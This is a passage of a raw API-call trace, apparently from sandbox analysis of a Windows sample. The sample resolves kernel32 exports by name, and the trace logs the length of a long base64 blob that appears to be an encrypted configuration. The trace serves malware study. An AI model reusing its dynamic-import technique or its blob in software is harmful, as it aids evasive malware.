(lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0095.340] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0095.340] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0095.340] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0095.340] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0095.340] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0095.340] lstrlenA (lpString="COPYCONTEXT") returned 11 [0095.341] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0095.341] lstrlenA (lpString="COPYFILE2") returned 9 [0095.341] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0095.341] lstrlenA (lpString="COPYFILEA") returned 9 [0095.341] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0095.342] lstrlenA (lpString="COPYFILEEXA") returned 11 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0095.342] lstrlenA (lpString="COPYFILEEXW") returned 11 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0095.342] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0095.342] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0095.342] lstrlenA (lpString="COPYFILEW") returned 9 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0095.342] lstrlenA (lpString="COPYLZFILE") returned 10 [0095.342] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0095.343] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0095.343] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0095.343] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0095.343] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0095.343] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0095.343] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0095.343] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0095.344] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0095.344] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0095.344] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0095.344] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0095.344] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0095.344] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0095.344] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0095.345] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0095.345] lstrlenA (lpString="CREATEEVENTA") returned 12 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0095.345] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0095.345] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0095.345] lstrlenA (lpString="CREATEEVENTW") returned 12 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0095.345] lstrlenA (lpString="CREATEFIBER") returned 11 [0095.345] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0095.346] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0095.346] lstrlenA (lpString="CREATEFILE2") returned 11 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0095.346] lstrlenA (lpString="CREATEFILEA") returned 11 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0095.346] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0095.346] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0095.346] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0095.346] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0095.347] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0095.347] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0095.347] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0095.347] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0095.347] lstrlenA (lpString="CREATEFILEW") returned 11 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0095.347] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0095.347] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0095.348] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0095.348] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0095.348] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0095.348] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0095.348] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0095.348] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0095.348] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0095.348] lstrlenA (lpString="CREATEJOBSET") returned 12 [0095.349] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0095.349] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0095.349] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0095.349] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0095.349] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0095.349] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0095.349] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0095.349] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0095.349] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0095.349] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0095.350] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0095.350] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0095.350] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0095.350] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0095.350] lstrlenA (lpString="CREATEPIPE") returned 10 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0095.350] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0095.350] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0095.350] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0095.351] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0095.351] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0095.351] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0095.351] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0095.351] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0095.351] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0095.351] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0095.352] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0095.352] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0095.352] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0095.352] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0095.352] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0095.352] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0095.353] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0095.353] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0095.353] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0095.353] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0095.353] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0095.353] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0095.353] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0095.353] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0095.354] lstrlenA (lpString="CREATETHREAD") returned 12 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0095.354] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0095.354] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0095.354] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0095.354] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0095.354] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0095.354] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0095.355] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0095.355] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0095.355] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0095.355] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0095.355] lstrcpyA (in: lpString1=0x21fdbe8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0095.356] lstrlenA (lpString="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") returned 2528 [0095.377] lstrlenA (lpString="%BASE64_PLACEHOLDER%") returned 20 [0095.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.378] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.379] GetTickCount () returned 0x2d6be [0095.379] GetTickCount () returned 0x2d6be [0095.379] VirtualAlloc (lpAddress=0x0, dwSize=0x24, flAllocationType=0x3000, flProtect=0x4) returned 0x2cf0000 [0095.380] lstrlenW (lpString="1234567890qwertyuiopasdfghjklzxcvbnm") returned 36 [0095.380] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x3190000 [0095.380] VirtualAlloc (lpAddress=0x0, dwSize=0x4a, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0095.380] lstrlenA (lpString="kernel32.dll") returned 12 [0095.380] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.380] lstrcpyA (in: lpString1=0x21feab8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0095.380] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0095.381] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0095.381] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0095.381] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0095.381] lstrlenA (lpString="ADDATOMA") returned 8 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0095.381] lstrlenA (lpString="ADDATOMW") returned 8 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0095.381] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0095.381] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0095.381] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0095.381] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0095.381] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0095.381] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0095.381] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0095.381] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0095.381] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0095.381] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0095.381] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0095.381] lstrcpyA (in: lpString1=0x21feab8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0095.381] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0095.381] 